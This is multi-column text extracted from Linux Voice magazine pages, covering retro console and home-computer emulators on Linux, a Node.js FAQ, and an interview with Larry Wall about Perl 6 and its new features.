Nestopia uses more CPU time than other NES                    to work, but there are some performance          more on this, read our Wine tutorial on page
emulators, but it’s extremely accurate as a result and        penalties from running in a virtual machine.     88 of issue 11. And if you don’t have that
can play almost anything. Plug in a joypad, start it, and     In VirtualBox, it’s possible to determine the    issue, grab it from http://shop.linuxvoice.
                                                              amount of RAM and hard drive space that’s        com, or buy a subscription to get access to
go to Emulator > Configuration in the menu. Switch to
                                                              given to the emulated PC, and even take          all back issues in digital formats.
the Input tab, then click on the emulated NES joypad



                                                              www.linuxvoice.com                                                                           35
     FEATURE RETROSTALGIA

                                                                                                     Save the file and restart the emulator; this fixed
                                                                                                 the lack of sound on our Xubuntu 14.10 installation.
                                                                                                 It’s also worth noting that Mednafen has plenty of
                                                                                                 extra features, such as state saving (F5) and loading
                                                                                                 (F7). To switch to full-screen mode hit Alt+Enter,
                                                                                                 and to quit press Esc. See http://mednafen.
                                                                                                 sf.net/documentation/ for the full list of available
                                                                                                 keybindings.
                                                                                                     As mentioned, Mednafen also does a good job with
                                                                                                 Super NES and Game Boy emulation, but there’s
                                                                                                 one thing to note: for each console you emulate,
                                                                                                 you’ll need to redo the joypad setup procedure with
                                                                                                 Shift+Alt+1. In other words, the setup you made for
                                                                                                 the Master System or Game Gear won’t apply to
                                                                                                 the other consoles. Your configuration will be saved
                                                                                                 automatically, though, so you won’t need to go
                                                                                                 through the procedure every time you play a game.
                                                                                                     Mednafen doesn’t work especially well with Mega
                                                                                                 Drive (aka Genesis) games in our experience, so for
                                                                                                 that machine we recommend DGen/SDL from
                                                                                                 http://dgen.sf.net. To compile the source code,
                                                                                                 download dgen-sdl-1.33.tar.gz from the site and
                                                                                                 extract and compile it as follows:
                                                                                                 tar xfv dgen-sdl-1.33.tar.gz
                                                                                                 cd dgen-sdl-1.33
                                                                                                 ./configure && make
                                                                                                     You will need to install the SDL 1.2 development
Nestopia is a cycle-
                              Start Mednafen by giving it a ROM file, like so:                   libraries – in Ubuntu and other Debian-based distros,
accurate emulator, so it
tries to be as close to a   mednafen sonic1.sms                                                  this is in the libsdl1.2-dev package. Once it’s built, run
real NES as possible.          Mednafen is command-line driven, so there’s no                    it in place like so:
                            fancy GUI to perform a setup. Fortunately, however,                  ./dgen filename.smd
                            you don’t have to spend ages poking around inside                      As with Mednafen, there’s no pointy-click GUI,
                            configuration files to configure input devices. With                 but you can bring up a prompt by hitting colon. For
                            a joypad plugged in, press Shift+Alt+1 to configure                  instance, typing :calibrate will set up your joypad. Use
                            device 1: text prompts along the bottom of the                       Alt+Enter to switch to full-screen mode, F2 and F3 to
                            window will show you which buttons to press.                         save and load states, and Esc to close. (If you’re new
                            Mednafen emulates “turbo” buttons – ie rapid-fire                    to Linux and find the process of compiling source
                            versions of the normal buttons – which is useful for                 code baffling, see www.linuxvoice.com/linux-101-
                            some shoot-em-ups.                                                   how-to-compile-software for our in-depth guide.)
                               If your games don’t have any sound, close the
                            emulator and open .mednafen/mednafen-09x.cfg in                      Home computers
                            your home directory. Search for the sound.device and                 And now we come to the best part: the home
                            sound.driver lines, and change them to the following:                computers of yesteryear. Most of us at Linux Voice
                            sound.device sexyal-literal-default                                  cut our teeth on the ZX Spectrum, Commodore 64 or
                            sound.driver SDL                                                     Amstrad CPC in the late 80s, before moving on to the


                              The Raspberry Pi option
                              Many people dismissed the Raspberry Pi – and especially            access to all emulators that have ROMs in place. You’ll be
                              the model 1 – as too weak for game console emulation. But          asked to set up your joypad; note, however, that this only
                              it’s actually very good when emulating the 8-bit and 16-bit        works in the Emulation Station interface. To set up a joypad
                              consoles, and there’s a specialised distro called RetroPie that    for use inside the emulators themselves, hit F4 to switch to
                              makes it easy to get started. Go to http://blog.petrockblock.      the command line and enter:
                              com/retropie, download the SD card image, and write it to your     cd RetroPie-Setup
                              Pi SD card like you would with a regular Raspbian image.           sudo ./retropie_setup.sh
                                  If you go into the /home/pi/RetroPie/roms directory on            Choose menu option 3 (Setup) and then option 317
                              the SD card, you’ll see subdirectories for all the supported       (register RetroArch controller). Follow the steps and reboot
                              platforms: most of the names are obvious, but note that gb is      to have your joypad working in the emulators. Note that you
                              Game Boy and gbc is Game Boy Colour. So place your ROMs in         can also hit F4 and run sudo raspi-config to perform the usual
                              the appropriate directories, connect a USB joypad, and boot up     Raspbian setup steps, like expanding the filesystem to fill the
                              the Pi. The Emulation Station front-end will load; this provides   full SD card.




36                                                                www.linuxvoice.com
                                                                                                      RETROSTALGIA FEATURE

Amiga and Atari ST in the early 90s. Emulation of
these machines is a bit more involved than MS-DOS
and the old consoles, but it’s still doable, so let’s go
through them individually.
   For the Amiga, the best option at present is FS-UAE
(http://fs-uae.net). This software is available in many
distro repositories, and the website has excellent
download information including copy-and-paste
instructions to get it installed on Ubuntu, Debian,
Fedora, OpenSUSE and other distros. It’s possible
to use FS-UAE at the command line, but it’s better to
enter fs-uae-launcher in a terminal window to bring
up the graphical configuration tool.
   You’ll need two things for Amiga emulation: an
image of Kickstart, the ROM-based operating system
included in the Amiga, along with floppy disk images
of your games (or Workbench). It’s possible to buy
Kickstart and Workbench from www.amigaforever.
com, but these images are also available to download
from various places on the web. We won’t provide
                                                                                                                        The Atari ST played second
links here, due to the dubious legality, but if you still   System menu you can change the type of machine
                                                                                                                        fiddle to the Amiga in
have an Amiga you may not feel that you’re “stealing”       being emulated, and also provide more RAM or CPU            many respects, but it was
anything by simply obtaining images for things you          speed. Click on the Hatari Screen button to switch to       still a good machine for
already bought.                                             full-screen mode.                                           the time.
   So, once you have a KICK.ROM file, click on the
Hardware Options tab in FS-UAE and then Browse to           ZX Spectrum and C64
select it. Go back to the Main Configurations Option        Finally, let’s look at the classic 8-bitters. The best ZX
tab and choose your Amiga floppy disk image(s) –            Spectrum emulator is Fuse (http://fuse-emulator.
these normally end in .adf. When you’re ready, click        sf.net), which is provided in the fuse-emulator-gtk
Start at the bottom, and the Amiga will boot up. Note       package in Debian-based distros. With this installed,
the awesome emulated noise of the whirring floppy           enter fuse-gtk at the command line and the main
disk drive! FS-UAE will grab your mouse pointer for         window will pop up. You’ll see a warning that the
itself; to get it back, press F12+G simultaneously.         Spectrum ROM file is missing – but in this case, Fuse
   For the Atari ST, Hatari (http://hatari.tuxfamily.org)   uses its own, which works well enough. Click File >
is an excellent emulator that’s included in many distro     Open to load a Spectrum game (in .z80 or .sna format
repositories and has a point-and-click GUI to set it up.    – they are snapshots of RAM).
As with the Amiga, you’ll need a ROM image of the              By default the
ST’s operating system before you begin; place this in       window is rather        “For Commodore 64 emulation,
/usr/share/hatari/tos.img. Then start the emulator by       small, so click
pointing it at as disk image file, eg:                      Options > Filter to     our pick of the bunch is VICE, the
hatari snooker.st                                           change the graphics     Versatile Commodore Emulator.”
  The GEM desktop will appear, and the disk image           mode (eg double
you specified will be provided as the A: drive. Hit F12     or triple size).
to bring up the graphical options dialog box; under the     Under Machine > Select you can change the type of
                                                            Spectrum that’s emulated, while the Machine menu
                                                            also has other options useful for finding pokes and
                                                            exploring the emulated Spectrum’s memory map.
                                                               For Commodore 64 emulation, our pick of the
                                                            bunch is VICE (http://vice-emu.sf.net), the Versatile
                                                            Commodore Emulator. To use this, you’ll need some
                                                            ROM images from the original machine – and again,
                                                            if you own a real C64, you may be able to find them
                                                            on the web with a bit of searching. Once you have
                                                            the files kernal (not a typo!), basic and chargen in
                                                            the current directory and VICE installed, enter x64 to
                                                            start the emulator. The BASIC prompt will appear;
                                                            click File > Smart-attached Disk/Tape to load a game
                                                            or program and have it automatically start. VICE is
Many distros don’t have DGen/SDL in their repositories,     extremely configurable, so click the Settings menu to
but it’s easy enough to build from its source code.         see what it’s capable of.



                                                              www.linuxvoice.com                                                               37
38
39
     FAQ NODE.JS




                    Node.js
                          JavaScript on the server? Surely you can’t be serious…

                                                   So what’s Node.js, and why do            release at the time of writing being 0.12
MIKE SAUNDERS                                      I keep hearing about it?                 – but it’s doing real-world jobs out there
                                                   Until recently, JavaScript was           on the web.
                                                   only used as a client-side
        I thought JavaScript was a           language – that is, running inside web                Fair enough. So what makes it
        piddly little toy language built     browsers on end-user machines.                        great?
into web browsers to add irritating          Node.js changes all this and puts                     Node.js is excellent for building
animations and other useless fluff           JavaScript on the server. It’s a platform             real-time web apps which have
to web pages?                                and runtime environment for building           many concurrent connections, like chat
        We still have nightmares about       internet applications, and has some            sites and games. It has an event-driven
        GeoCities too, and yes,              features that make it especially               architecture and non-blocking I/O,
JavaScript has historically been used        attractive for web developers.                 which helps makes it responsive and
for things like that. It originated at                                                      scalable. Plus, it runs on Google’s V8
Netscape in the mid 90s as a                        Oh right, so it’s yet another           JavaScript engine, as used in Chrome;
lightweight scripting language to add               framework-du-jour written by            this compiles JavaScript to machine
interactive properties to web pages, but     some latte-supping hipsters who                code before executing it, so it’s not
it has come a long way since then.           think they’re going to make                    sluggish like you might expect.
Sure, many programmers look down on          £squillions, but the whole thing will             Node.js operates on a single thread,
JavaScript, and it’s massively overused      be abandoned before version 0.01?              so when you have hundreds or
on some websites, but it also has plenty            Whoa, slow down cowboy!                 thousands of concurrent connections,
of fans.                                            Respect to your cynicism,               you don’t lose performance due to
   After all, it’s easy to pick up: anyone   because there are a million and one            thread context switches. On the
with access to a web browser can start       so-called “revolutionary” platforms and        downside, this means that Node.js
playing around with JavaScript code.         frameworks out there, but Node.js is           apps can’t run across multiple CPU
You don’t need to install compilers, IDEs    different. For starters, it’s actually being   cores, so that’s potentially limiting for
or other specialist tools. And its syntax    used – and not just by a couple of             some tasks. But for real-time apps, it’s
isn’t a million miles away from C/           startups trying to do things differently.      very good indeed.
Java/C# and similar languages, so it         Node.js is being used by giants like
doesn’t look completely foreign at first     Yahoo, Microsoft, SAP, Walmart,                      So what do Node.js programs
glance for many coders.                      Groupon (of Gnome trademark trolling                 look like?
                                             fame) and PayPal.                                    A good way to demonstrate how
                                                These companies are big and                       Node.js works is with a simple
“Node.js is being used by                    conservative, and wouldn’t rely on
                                             Node.js if it were immature or
                                                                                            web application. Look at the screenshot
                                                                                            on the opposite page: this shows a
giants like Microsoft, SAP,                  incomplete. Sure, the version number           short Node.js program (test.js) being
Walmart and PayPal.”                         doesn’t given the impression that it’s
                                             ready for widespread usage – the latest
                                                                                            edited in Vim. This program creates an
                                                                                            HTTP server running on port 8000



40                                             www.linuxvoice.com
                                                                                                          NODE.JS FAQ

which returns “Hello, world!” with any
browser request. You don’t need
Apache, Nginx or any other separate
web server with Node.js – you can do it
all with the supplied modules.
   Let’s go through the code: in the first
line we require the ‘http’ module that’s
included with Node.js and make it
accessible via a variable of the same
name. We now use the createServer()
function of this module to make a new
web server, which returns an object that
we call server. But something very
unusual is happening here: the
createServer function takes another
function as its parameter.
   You see, when this Node.js program
is running, the function passed to
createServer will be called whenever a
HTTP request is made (in other words,
whenever a browser accesses the site).       A simple Node.js application – note how an anonymous function is placed in the call to
In this code, we don’t provide the name      http.createServer().
of a function and then write the
function elsewhere; we put the function      such as Express (www.expressjs.com)          version 1.6.3, suggesting that it’s
right inside of createServer(). This is      and SailsJS (www.sailsjs.org). These         mature and won’t drastically change
known as an anonymous function, as it        provide higher-level APIs and additional     under developers’ feet, and the
has no identity and can’t be used            modules to speed up development of           development team has opted for a
anywhere else.                               Node.js apps. Many of these are in the       more open system of management,
   Next, this anonymous function takes       early stages of development, however,        with a technical committee comprised
two parameters, and then sends a 200         and it’ll take a while before the dust       of the software authors.
status code and “Hello, world” text back     settles and we see who’s really in it for       Still, Node.js isn’t going anywhere,
to the browser. In the final line of the     the long run.                                and despite the low version number its
code, the server is set to listen on port       Another ace Node.js has up its sleeve     usage is increasing rapidly. As well as
8000. So when this program is run with       is its package manager, npm. This is a       running on Linux and the BSDs, Node.js
node test.js, and the user accesses          command-line tool that lets you install      also works on Mac OS X, Windows,
http://localhost:8000, they will see the     modules and manage dependencies,             Solaris and other platforms. It’s
“Hello, world” message.                      much like you would with a regular           released under the MIT licence, a
                                             Linux package manager. At the time of        permissive licence which makes the
       Wow, that’s a bit brain-              writing, over 137,000 packages were          source code available but also allows
       bending!                              available on www.npmjs.com –                 for reuse within proprietary software.
       Yes – if you’ve never done this       including database drivers, image file
       sort of coding before, it can take    generators and monitoring tools. So                  OK, you’ve piqued my interest.
a while to get your head around. And         whatever you need to do in your                      Where do I go to find out more,
we don’t want to turn this into a full-on    Node.js app, chances are that someone        and begin a new lucrative career as
programming tutorial, so if you’d like us    has already written a module for it. But     a Node.js application developer?
to cover Node.js application                 again, the vast majority of these are in             Your first port of call should be
development in more detail, drop us a        the very early stages of development,                https://nodejs.org, which has a
line. But still, this simple program         so expect bugs and limitations.              detailed list of all the APIs (see the Docs
demonstrates how JavaScript, Node.js                                                      tab). If you already know a bit of
and event-driven asynchronous                       Is the Node.js community one          JavaScript, you can install Node.js and
callbacks work together to make useful              big, happy family, or has             then enter sudo npm install
software without reams of code.              someone forked it yet?                       learnyounode -g to install a menu-
                                                   Yes, there is a fork called io.js      driven tutorial explaining the basics
      This all sounds rather low-                   (https://iojs.org) which came         (enter learnyounode to start it). You can
      level. Are web application             about for various reasons. One major         find another good beginner’s guide at
developers supposed to do a lot of           concern was that Node.js, under the          http://nodeguide.com/beginner.html,
grunt work by hand?                          corporate governance of San                  and if you’ve never written a single line
      No, because there’s a growing          Francisco-based company Joyent, was          of JavaScript in your life, try Mozilla’s
      range of web application               taking much too long to reach version        great entry-level tutorial at
frameworks built on top of Node.js,          1.0. The io.js project is already at         http://tinyurl.com/mozjstut.



                                               www.linuxvoice.com                                                                41
     INTERVIEW LARRY WALL


THE PAPA OF PERL
Perl 6 has been 15 years in the making, and is
now due to be released at the end of this year. We
speak to its creator to find out what’s going on.

L
       arry Wall is a fascinating man.     entertaining “State of the Onion”
       He’s the creator of Perl, a         presentations about the future of Perl.
       programming language that’s            We caught up with Larry at FOSDEM
widely regarded as the glue holding        2015 in Brussels to ask him why Perl 6
the internet together, and mocked by       has taken so long (Perl 5 was released
some as being a “write-only” language      in 1994), how difficult it is to manage
due to its density and liberal use of      a project when everyone has strong
non-alphanumeric characters. Larry         opinions and is pulling in different
also has a background in linguistics,      directions. Get ready for some
and is well known for delivering           intriguing diversions…



         You once had a plan to go and     you can get them to come in and help
        find an undocumented               you learn the foreign language. They
language somewhere in the world            are not teachers but there are ways of
and create a written script for it, but    eliciting things from someone who’s
you never had the opportunity to           not a language teacher – they can still
fulfil this plan. Is that something        teach you how to speak. They can take
you’d like to go back and do now?          a stick and point to it and say “that’s a
Larry Wall: You have to be kind of         stick”, and drop it and say “the stick
young to be able to carry that off! It’s   falls”. Then you start writing things
actually a lot of hard work, and           down and systematising things.
organisations that do these things don’t      The motivation that most people
tend to take people in when they’re over   have, going out to these groups, is to
a certain age. Partly this is down to      translate the Bible into their languages.

                                                                                                “There had to be a very
health and vigour, but also because        But that’s only one part of it; the other is
people are much better at picking up       also culture preservation. Missionaries
new languages when they’re younger,
and you have to learn the language
                                           get kind of a bad rep on that, because
                                           anthropologists think they should be
                                                                                                careful balancing act.
before making a script for it.             left to sit there in their own culture. But          There were just so
    I started trying to teach myself       somebody is probably going to change
                                                                                                many good ideas at the
                                                                                                beginning.”
Japanese about 10 years ago, and I         their culture anyway – it’s usually the
could speak it quite well, because of my   army, or businesses coming in, like
phonology and phonetics training – but     Coca Cola or the sewing machine
it’s very hard for me to understand what   people, or missionaries. And of those
anybody says. So I can go to Japan and     three, the missionaries are the least
ask for directions, but I can’t really     damaging, if they’re doing their job right.       possible. Tonal languages have to mark
understand the answers!                                                                      the tones somehow, by accents or by
    So usually learning a language well          Many writing systems are                    numbers.
enough to develop a writing system,              based on existing scripts, and                As soon as you start leaning towards
and to at least be conversational in the   then you have invented ones like                  a phonetic or phonological
language, takes some period of years       Greenlandic…                                      representation, then you also start to
before you can get to the point where      LW: The Cherokee invented their own               lose dialectical differences – or you
you can actually do literacy and start     just by copying letters, and they have            have to write the dialectal differences.
educating people on their own culture,     no mapping much to what we think of               Or you have conventional spelling like
as it were. And then you teach them to     [as our] letters; it’s fairly arbitrary in that   we have in English, but pronunciation
write about their own culture as well.     sense. It just has to represent how the           that doesn’t really match it.
    Of course, if you have language        people themselves think of the
helpers – and we were told not to call     language, and sufficiently well to                     When you started working on
them “language informants”, or             communicate. Often there will be                       Perl, what did you take from
everyone would think we were working       variations on Western orthography,                your background in linguistics that
for the CIA – if you have these people,    using characters from Latin where                 made you think: “this is really



42                                                            www.linuxvoice.com
                                                                                              LARRY WALL INTERVIEW

                                                                                               intelligent listener – or at least,
                                                                                               compared with a computer – who you
                                                                                               can rely on to figure out what you must
                                                                                               have meant, in case of ambiguity. Of
                                                                                               course, in a computer language you
                                                                                               have to manage the ambiguity much
                                                                                               more closely.
                                                                                                  Arguably in Perl 1 through to 5 we
                                                                                               didn’t manage it quite adequately
                                                                                               enough. Sometimes the computer was
                                                                                               confused when it really shouldn’t have
                                                                                               been. With Perl 6, we found some ways
                                                                                               to make the computer more sure about
                                                                                               what the user is talking about, even if
                                                                                               the user is confused about whether
                                                                                               something is really a string or a
                                                                                               number. The computer knows the exact
                                                                                               type of it. We figured out ways of having
                                                                                               stronger typing internally, but still have
                                                                                               the allomorphic “you can use this as
                                                                                               that” idea.

                                                                                                     For a long time Perl was seen
                                                                                                     as the “glue” language of the
                                                                                               internet, for fitting bits and pieces
                                                                                               together. Do you see Perl 6 as a
                                                                                               release to satisfy the needs of
                                                                                               existing users, or as a way to bring
                                                                                               in new people, and bring about a
                                                                                               resurgence in the language?
                                                                                               LW: The initial intent was to make a
                                                                                               better Perl for Perl programmers. But as
                                                                                               we looked at the some of the
                                                                                               inadequacies of Perl 5, it became
                                                                                               apparent that if we fixed these
                                                                                               inadequacies, Perl 6 would be more
                                                                                               applicable, like how JRR Tolkien talked
                                                                                               about applicability [see http://tinyurl.
                                                                                               com/nhpr8g2].
                                                                                                  The idea that “easy things should be
                                                                                               easy and hard things should be
                                                                                               possible” goes way back, to the
                                                                                               boundary between Perl 2 and Perl 3. In
                                                                                               Perl 2, we couldn’t handle binary data or

“We found some ways to make                      different slot. The linguistic theory I
                                                 studied was called tagmemics, and it
                                                                                               embedded nulls – it was just C-style
                                                                                               strings. I said then that “Perl is just a
the computer more sure about                     accounts for how this works in a              text processing language – you don’t

what the user is talking about.”
                                                 natural language – that you could have        need those things in a text processing
                                                 something that you think of as a noun,        language”.
                                                 but you can verb it, and people do that          But it occurred to me that there were
                                                 all time.                                     a large number of problems that were
        important in a programming                  You can pretty much shove anything         mostly text, and had a little bit of binary
        language”?                               in any slot, and you can communicate.         data in them – network addresses and
        LW: I thought a lot about how people     One of my favourite examples is               things like that. You use binary data to
        use languages. In real languages, you    shoving an entire sentence in as an           open the socket but then text to
        have a system of nouns and verbs and     adjective. The sentence goes like this: “I    process it. So the applicability of the
        adjectives, and you kind of know which   don’t like your I-can-use-anything-as-an-     language more than doubled by making
        words are which type. And in real        adjective attitude”!                          it possible to handle binary data.
        natural languages, you have a lot of        So natural language is very flexible          That began a trade-off about what
        instances of shoving one word into a     this way because you have a very              things should be easy in a language.



                                                   www.linuxvoice.com                                                                 43
     INTERVIEW LARRY WALL

Nowadays we have a principle in Perl,        cow killed when you actually want a        clocking mechanism. Spaces were
and we stole the phrase Huffman              chicken killed.                            optional in their writing system as well
coding for it, from the bit-encoding            So in realms like that it’s actually    – it was a more modern invention to
system where you have different sizes        better to differentiate the words, for     put the spaces in.
for characters. Common characters            more redundancy in the                       So similarly in computer languages,
are encoded in a fewer number of bits,       communication channel. The common          there’s value in having a self-clocking
and rarer characters are encoded in          words need to have more of that            code. We rely on this heavily in Perl, and
more bits.                                   differentiation. It’s all about            even more heavily in Perl 6 than in
   We stole that idea as a general           communicating efficiently, and then        previous releases. The idea [is] that
principle for Perl, for things that are      there’s also this idea of self-clocking    when you’re parsing an expression,
commonly used, or when you have to           codes. If you look at a UPC label on a     you’re either expecting a term or an infix
type them very often – the common            product – a barcode – that’s actually a    operator. When you’re expecting a term
things need to be shorter or more            self-clocking code where each pair of
succinct. Another bit of that, however, is
that they’re allowed to be more irregular.
                                             bars and spaces is always in a unit of
                                             seven columns wide. You rely on that       “People who made early
In natural language, it’s actually the
most commonly used verbs that tend
                                             – you know the width of the bars will
                                             always add up to that. So it’s self-
                                                                                        implementations of Perl 6
to be the most irregular.                    clocking. There are other self-clocking    came back to me, cap-in-
   And there’s a reason for that, because    codes used in electronics. In the old
                                                                                        hand, and said ‘We really
                                                                                        need a language designer’.”
you need more differentiation of them.       transmission serial protocols there
One of my favourite books is called The      were stop and start bits so you could
Search for the Perfect Language by           keep things synced up. Natural
Umberto Eco, and it’s not about              languages also do this. For instance, in   you might also get a prefix operator –
computer languages; it’s about               the writing of Japanese, they don’t use    that’s kind-of in the same expectation
philosophical languages, and the whole       spaces. Because the way they write it,     slot – and when you’re expecting an
idea that maybe some ancient                 they will have a Kanji character from      infix you might also get a postfix for the
language was the perfect language and        Chinese at the head of each phrase,        previous term.
we should get back to it.                    and then the endings are written in a         But it flips back and forth. And if the
   All of those languages make the           syllabary.                                 compiler knows which it is expecting,
mistake of thinking that similar things                                                 you can overload those a little bit, and
should always be encoded similarly. But            Hiragana, right?                     Perl does this. So a slash when it’s
that’s not how you communicate. If you             LW: Yes, Hiragana. So naturally      expecting a term will introduce a regular
have a bunch of barnyard animals, and        the head of each phrase really stands      expression, whereas a slash when
they all have related names, names that      out with this system. Similarly, in        you’re expecting an infix will be division.
sound similar, and you say “Go out and       ancient Greek, most of the verbs were      On the other hand, we don’t want to
kill the Blerfoo”, but you really wanted     declined or conjugated. So they had        overload everything, because then you
them to kill the Blerfee, you might get a    standard endings that were sort-of a       lose the self-clocking redundancy.


                                                                                                                       While we were chatting,
                                                                                                                   someone came up to get his
                                                                                                                     O’Reilly Perl book signed.




44                                                           www.linuxvoice.com
                                                                                                     LARRY WALL INTERVIEW




Perl’s name doesn’t really
stand for anything, though
Larry has jokingly called it
the Pathologically Eclectic
Rubbish Lister.


               Most of our best error messages, for        So we had to re-rationalise based on          So I was the language designer, but I
             syntax errors, actually come out of        how people were actually hurting when         was almost exp
             noticing that you have two terms in a      they tried to use Perl 5. We started to          licitly told: “Stay out of the
             row. And then we try to figure out why     look at the unifying, underlying ideas.       implementation! We saw what you did
             there are two terms in a row – “oh, you    Many of these RFCs were based on the          made out of Perl 5, and we don’t like it!”
             must have left a semicolon out on the      fact that we had an inadequate type           It was really funny because the innards
             previous line”. So we can produce much     system. By introducing a more                 of the new implementation started
             better error messages than the more        coherent type system we could fix             looking a whole lot like Perl 5 inside, and
             ad-hoc parsers.                            many problems in a sane fashion and a         maybe that’s why some of the early
                                                        cohesive fashion.                             implementations didn’t work well.
                    Why has Perl 6 been 15 years           And we started noticing other ways            Because we were still feeling our way
                    in development? It must be          how we could unify the feature sets and       into the whole design, the
             hard overseeing a language when            start reusing ideas in different areas.       implementations made a lot of
             everyone has different opinions            Not necessarily that they were the            assumptions about what a VM should
             about things, and there’s not always       same thing underneath. We have a              do and shouldn’t do, so we ended up
             the right way to do things, and the        standard way of writing pairs – well,         with something like an object oriented
             wrong way.                                 two ways in Perl! But the way of writing      assembly language. That sort of
             LW: There had to be a very careful         pairs with a colon could also be reused       problem was fairly pervasive at the
             balancing act. There were just so many     for radix notation, or for literal numbers    beginning. Then the Pugs [a Perl
             good ideas at the beginning – well, I      in any base. It could also be used for        compiler] guys came along and said
             don’t want to say they were all good       various forms of quoting. We say in Perl      “Let’s use Haskell, because it makes
             ideas. There were so many pain points,     that it’s “strangely consistent”.             you think very clearly about what you’re
             like there were 361 RFCs [feature             Similar ideas pop up, and you say “I’m     doing. Let’s use it to clarify our
             proposal documents] when I expected        already familiar with how that syntax         semantic model underneath.”
             maybe 20.                                  works, but I see it’s being used for             So we nailed down some of those
                We had to sit back and actually look    something else”. So it took some unity        semantic models, but more importantly,
             at them all, and ignore the proposed       of vision to find these unifications.         we started building the test suite at that
             solutions, because they were all over      People who had the various ideas and          point, to be consistent with those
             the map and all had tunnel vision. Each    made early implementations of Perl 6          semantic models. Then after that, the
             one may have just changed one thing,       came back to me, cap-in-hand, and said        Parrot VM continued developing, and
             but if we had done them all, it would’ve   “We really need a language designer.          then another implementation, Niecza,
             been a complete mess.                      Could you be our benevolent dictator?”        came along, and it was based on .NET.



                                                          www.linuxvoice.com                                                                 45
     INTERVIEW LARRY WALL


                                                                                                                    Will Perl 6 arrive in time for
                                                                                                                Christmas? Larry is hopeful, but
                                                                                                                    we’ll have to wait and see...




It was by a young fellow who was very                Last year in the UK, the            discussion about a lot of different
smart and implemented a large subset                 government kicked off the Year      things. Sometimes we commit to a
of Perl 6, but he was kind of a loner,        of Code, an attempt to get young           decision, work with it for a while, and
didn’t really figure out a way to get other   people interested in programming.          then realise it wasn’t quite the right
people involved in his project.               There are lots of opinions about how       decision.
   At the same time the Parrot project        this should be done – like whether            We didn’t design or specify pretty
was getting too big for anyone to really      you should teach low-level                 much anything about concurrent
manage it inside, and very difficult to       languages at the start, so that            programming until someone came
refactor. At that point the fellows           people really understand memory            along who was smart enough about it
working on Rakudo decided that we             usage, or a high-level language.
probably needed to be on more
platforms than just the Parrot VM. So
                                              What’s your take on that?
                                              LW: Up until now, the Python
                                                                                         “Until now, the Python
they invented a portability layer called      community has done a much better job       community has done a much
NQP, which stands for “Not Quite Perl”.       of getting into the lower levels of
                                                                                         better job of getting into the
                                                                                         lower levels of education.”
They ported it to first of all run on the     education than we have. We’d like to do
JVM (Java Virtual Machine), and while         something in that space too, and that’s
they were doing that they were also           partly why we have the butterfly logo,
secretly working on a new VM called           because it’s going to be appealing to
MoarVM. That became public a little           seven-year-old girls!                      and knew what the different trade-offs
over a year ago.                                 But we do think that Perl 6 will be     were, and that’s Jonathan Worthington.
   Both MoarVM and JVM run a pretty           learnable as a first language. A number    He has blended together ideas from
much equivalent set of regression tests       of people have surprised us by learning    other languages like Go and C#, with
– Parrot is kind-of trailing back in some     Perl 5 as their first language. And you    concurrent primitives that compose
areas. So that has been very good to          know, there are a number of fairly         well. Composability is important in the
flush out VM-specific assumptions, and        powerful concepts even in Perl 5, like     rest of the language.
we’re starting to think about NQP             closures, lexical scoping, and features      There are an awful lot of concurrent
targeting other things. There was a           you generally get from functional          and parallel programming systems that
Google Summer of Code project year to         programming. Even more so in Perl 6.       don’t compose well – like threads and
target NQP to JavaScript, and that               Part of the reason that Perl 6 has      locks, and there have been lots of ways
might fit right in, because MoarVM also       taken so long is that we have around 50    to do it poorly. So in one sense, it’s been
uses Node.js for much of its more             different principles we try to stick to,   worth waiting this extra time to see
mundane processing. We probably               and in language design you end up          some of these languages like Go and
need to concentrate on MoarVM for the         juggling everything and saying “what’s     C# develop good high-level primitives
rest of this year, until we define 6.0, and   really the most important principle        – that’s sort of a contradiction in terms
then the rest will catch up.                  here”? There has been a lot of             – that compose well.



46                                                            www.linuxvoice.com
                                                                                                                  LARRY WALL INTERVIEW


WHAT’S NEW IN PERL 6?
New goodies to look forward to, and things you’ll have to change.


S
        o, we’ve heard from the horse’s mouth
        about Perl 6’s agonisingly long
        development process, and all being
well, the official release will arrive in
December. But what technical changes
will it bring? What alterations will you
have to make when writing Perl code? A lot
has changed from Perl 5 – which isn’t
surprising, given the 15 years of
development – so here’s a summary of the
major updates.

1   Static types
With Perl 6, it’s now possible to specify the
type of a variable when declaring it. For
instance:
my Int $a = 10;
my Num $b = 1.23;
$a = $b;
   This will generate an error, because Int
(integer) and Num (floating point number)
are different types. Other built-in types
include Bool, Array, Hash, Pair and Str
(string). You can define your own types,                 Camelia, the “spokesbug” for Perl 6, is the project’s mascot. Note the “P” subtly concealed in the
mix dynamic and static typing in your code,              left wing, and the “6” in the right…
or just ignore static types completely.
                                                         point to the mish-mash of different                  4   Syntactical changes
2   Sigil invariance                                     characters that the language uses.                   Various changes have been made to the
Previously, the characters that precede                                                                       syntax and control flow constructs. For
variable names (known as sigils) changed                 3   Chained comparisons                              instance, consider these three constructs as
depending on how a variable was used. For                Previously, operations involving multiple            used in Perl 5:
instance, in Perl 5:                                     comparisons were usually a bit messy,                if ($a < $b) { ... }
my @things = (“a”, “b”, “c”);                            involving nested if statements. From Perl 6          foreach (@foo) { ... }
my $element = $things[1];                                and onwards, It will be possible to put              for ($i=0; $i<10; $i++) { ... }
    With Perl 6, you can change this to read:            together sequences of comparisons, such                In Perl 6, parentheses are no longer
my @things = “a”, “b”, “c”;                              as the following:                                    required on control structure conditions (as
my $element = @things[1];                                if 10 <= $x <= 20 {                                  shown in the if line). The foreach statement
   So you don’t need to change the sigil                             say “x is between 10 and 20”             has been replaced by for, again with the
depending on whether you’re working with                 }                                                    parentheses removed, and the for statement
the array as a whole, or an individual                      Perl 6 handles this by performing each            has been replace by loop:
element. (You can also omit the brackets.)               left-to-right comparison on its own, and             if $a < $b { ... }
This is a good step forward for consistency,             combining the results at the end. This will          for @foo { ... }
especially when Perl’s detractors always                 make code shorter and cleaner.                       loop ($i=0; $i<10; $i++) { ... }
                                                                                                                 There are other changes across the
    Implementations                                                                                           codebase as well, such as formal subroutine
                                                                                                              parameter lists, improved object-oriented
    There’s no official single codebase for Perl 6:         Right now, Rakudo is the most feature-complete    programming support, and expansion of the
    instead we have a specification and a test suite.    implementation of Perl 6, and targets the MoarVM     language’s famous regular expression
    Consequently, a number of implementations have       and JVM virtual machines. So with Rakudo, Perl 6
                                                                                                              features into a system called “rules”.
    cropped up over the years, each attempting to run    code isn’t directly compiled into CPU instructions
    code according to Perl 6 specs, but with different   as with many languages, but instead converted           So those are just some of the changes
    focuses and targets. In the interview, Larry Wall    into a bytecode for execution on the virtual         from Perl 5 to Perl 6 – see http://design.
    mentions Pugs, which is written in Haskell, and      machine. MoarVM has lower memory usage and           perl6.org/Differences.html for the full list.
